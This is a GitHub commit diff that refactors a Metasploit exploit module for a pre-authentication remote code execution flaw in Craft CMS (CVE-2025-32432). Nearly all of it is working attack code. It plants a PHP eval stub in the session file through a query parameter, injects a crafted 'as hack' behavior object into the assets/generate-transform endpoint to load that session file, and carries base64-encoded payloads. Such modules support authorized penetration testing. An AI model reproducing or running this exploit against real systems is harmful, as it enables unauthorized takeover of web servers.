Skip to content

Commit a0e9758

Browse files
committed
Improve error handling, and search csrf_token in root uri
1 parent 89404c2 commit a0e9758

File tree

1 file changed

+89
-70
lines changed

1 file changed

+89
-70
lines changed

modules/exploits/linux/http/craftcms_preauth_rce_cve_2025_32432.rb

Lines changed: 89 additions & 70 deletions
Original file line numberDiff line numberDiff line change
@@ -71,110 +71,129 @@ def initialize(info = {})
7171
end
7272

7373
def check
74-
csrf = fetch_cookies_and_csrf
75-
return CheckCode::Unknown('Could not retrieve cookies & CSRF') unless csrf
74+
csrf_token = fetch_cookies_and_csrf
75+
return CheckCode::Unknown('Could not retrieve cookies & CSRF') if csrf_token.nil?
7676

77-
vprint_status("Using CSRF token: #{csrf}")
77+
vprint_status "Using CSRF token: #{csrf_token}"
7878

79-
res = send_transform(csrf, datastore['ASSET_ID'], 'phpinfo')
80-
return CheckCode::Unknown('No response from generate-transform') unless res
79+
response = send_transform(csrf_token, datastore['ASSET_ID'], 'phpinfo')
80+
return CheckCode::Unknown('No response from generate-transform') if response.nil?
8181

82-
if res.body.include?('If you did not receive a copy of the PHP license')
83-
return CheckCode::Vulnerable('License text detected')
82+
if response.body.include?('If you did not receive a copy of the PHP license')
83+
CheckCode::Vulnerable('License text detected')
84+
else
85+
CheckCode::Safe('License text not detected')
8486
end
85-
86-
CheckCode::Safe('License text not detected')
8787
end
8888

8989
def php_exec_cmd(encoded_payload)
90-
vars = Rex::RandomIdentifier::Generator.new
91-
dis = '$' + vars[:dis]
92-
encoded_clean_payload = Rex::Text.encode_base64(encoded_payload)
93-
shell = <<-END_OF_PHP_CODE
94-
#{php_preamble(disabled_varname: dis)}
95-
$c = base64_decode("#{encoded_clean_payload}");
96-
#{php_system_block(cmd_varname: '$c', disabled_varname: dis)}
97-
END_OF_PHP_CODE
98-
return shell
90+
generator = Rex::RandomIdentifier::Generator.new
91+
disabled_var = "$#{generator[:dis]}"
92+
payload_b64 = Rex::Text.encode_base64(encoded_payload)
93+
94+
<<~PHP
95+
#{php_preamble(disabled_varname: disabled_var)}
96+
$c = base64_decode("#{payload_b64}");
97+
#{php_system_block(cmd_varname: '$c', disabled_varname: disabled_var)}
98+
PHP
9999
end
100100

101101
def exploit
102-
phped_payload = target['Arch'] == ARCH_PHP ? payload.encoded : php_exec_cmd(payload.encoded)
103-
final_payload = framework.encoders.create('php/base64').encode(phped_payload)
104-
105-
random_param_name = Rex::Text.rand_text_alphanumeric(5..12)
106-
107-
first_payload = "<?=eval(\$_GET[\"#{random_param_name}\"]);die()?>"
108-
109-
print_status('Making initial request to push payload and get a CSRF token..')
110-
111-
craft_session_id, csrf = fetch_cookies_and_csrf(first_payload)
112-
vprint_status("CraftSessionId: #{craft_session_id}")
113-
vprint_status("Found CSRF token: #{csrf}")
102+
payload_code = target['Arch'] == ARCH_PHP ? payload.encoded : php_exec_cmd(payload.encoded)
103+
encoded_payload = framework.encoders
104+
.create('php/base64')
105+
.encode(payload_code)
106+
107+
random_param = Rex::Text.rand_text_alphanumeric(5..12)
108+
initial_payload = "<?=eval($_GET['#{random_param}']);die()?>"
109+
110+
print_status 'Making initial request to push payload and get a CSRF token'
111+
session_id, csrf_token = fetch_cookies_and_csrf(initial_payload)
112+
unless csrf_token
113+
fail_with(Failure::Unknown, 'Could not retrieve session ID and CSRF token')
114+
end
114115

115-
print_status('Triggering code via assets/generate-transform')
116+
vprint_status "Session ID: #{session_id}"
117+
vprint_status "CSRF token: #{csrf_token}"
116118

117-
json_data = {
118-
'assetId' => datastore['ASSET_ID'],
119-
'handle' => {
120-
'width' => Rex::Text.rand_text_numeric(1..5),
121-
'height' => Rex::Text.rand_text_numeric(1..5),
119+
print_status 'Triggering code via assets/generate-transform'
120+
request_payload = {
121+
assetId: datastore['ASSET_ID'],
122+
handle: {
123+
width: Rex::Text.rand_text_numeric(1..5),
124+
height: Rex::Text.rand_text_numeric(1..5),
122125
'as hack' => {
123-
'class' => 'craft\\behaviors\\FieldLayoutBehavior',
124-
'__class' => 'yii\\rbac\\PhpManager',
126+
class: 'craft\\behaviors\\FieldLayoutBehavior',
127+
__class: 'yii\\rbac\\PhpManager',
125128
'__construct()' => [
126-
{
127-
'itemFile' => "/var/lib/php/sessions/sess_#{craft_session_id}"
128-
}
129+
{ itemFile: "/var/lib/php/sessions/sess_#{session_id}" }
129130
]
130131
}
131132
}
132133
}.to_json
133134

134-
send_request_cgi({
135+
send_request_cgi!(
135136
'method' => 'POST',
136137
'uri' => normalize_uri(target_uri.path, 'index.php'),
137-
'vars_get' => { 'p' => 'actions/assets/generate-transform', random_param_name => final_payload },
138-
'headers' => { 'X-CSRF-Token' => csrf },
138+
'vars_get' => { 'p' => 'actions/assets/generate-transform', random_param => encoded_payload },
139+
'headers' => { 'X-CSRF-Token' => csrf_token },
139140
'ctype' => 'application/json',
140-
'data' => json_data,
141+
'data' => request_payload,
141142
'keep_cookies' => true
142-
})
143+
)
143144
end
144145

145-
def fetch_cookies_and_csrf(payload_param = nil)
146-
vars_get = { 'p' => 'admin/dashboard' }
147-
random_param_name = Rex::Text.rand_text_alphanumeric(5..12)
148-
vars_get[random_param_name] = payload_param if payload_param
146+
def extract_csrf_token(res)
147+
get_token = lambda do |r|
148+
next unless r&.code == 200
149149

150-
query_string = vars_get.map { |key, value| "#{key}=#{value}" }.join('&')
151-
cookie_jar.clear
152-
opts = {
153-
'method' => 'GET',
154-
'uri_encode_mode' => 'none',
155-
'uri' => normalize_uri(target_uri.path, 'index.php') + '?' + query_string
156-
}
150+
r.get_html_document.at("//input[@name='CRAFT_CSRF_TOKEN']/@value")&.text
151+
end
152+
153+
token = get_token.call(res)
157154

158-
res1 = send_request_cgi(opts)
155+
if token.nil? || token.empty?
156+
vprint_status 'CSRF not found, falling back to root'
157+
fb_res = send_request_cgi(
158+
'method' => 'GET',
159+
'uri' => normalize_uri(target_uri.path, 'index.php'),
160+
'keep_cookies' => true
161+
)
162+
token = get_token.call(fb_res)
163+
end
164+
165+
token unless token.nil? || token.empty?
166+
end
159167

160-
cookies = res1.get_cookies
161-
craft_session_id = cookies.split(';').find { |cookie| cookie.strip.start_with?('CraftSessionId=') }&.split('=')&.last&.strip
162-
return nil unless craft_session_id
168+
def fetch_cookies_and_csrf(payload_param = nil)
169+
rand_param = Rex::Text.rand_text_alphanumeric(5..12)
170+
params = { 'p' => 'admin/dashboard', rand_param => payload_param }.compact
163171

164-
opts2 = {
172+
cookie_jar.clear
173+
res = send_request_cgi(
165174
'method' => 'GET',
166-
'uri' => res1.headers['Location'],
167-
'keep_cookies' => true
168-
}
175+
'uri_encode_mode' => 'none',
176+
'uri' => normalize_uri(target_uri.path, 'index.php'),
177+
'vars_get' => params
178+
)
179+
return nil unless res
169180

170-
res2 = send_request_cgi(opts2)
181+
raw_cookies = res.get_cookies.to_s
182+
session_id = raw_cookies.scan(/CraftSessionId=([^;]+)/).flatten.first
183+
return nil if session_id.nil? || session_id.empty?
171184

172-
return nil unless res2&.code == 200
185+
if res.code == 302 && res.headers['Location']
186+
res = send_request_cgi(
187+
'method' => 'GET',
188+
'uri' => res.headers['Location'],
189+
'keep_cookies' => true
190+
)
191+
end
173192

174-
csrf = res2.get_html_document.at('//input[@name="CRAFT_CSRF_TOKEN"]/@value')&.text
175-
return nil unless csrf
193+
token = extract_csrf_token(res)
194+
return nil unless token
176195

177-
payload_param ? [craft_session_id, csrf] : csrf
196+
payload_param ? [session_id, token] : token
178197
end
179198

180199
def send_transform(csrf, asset_id, php_string)

0 commit comments

Comments
 (0)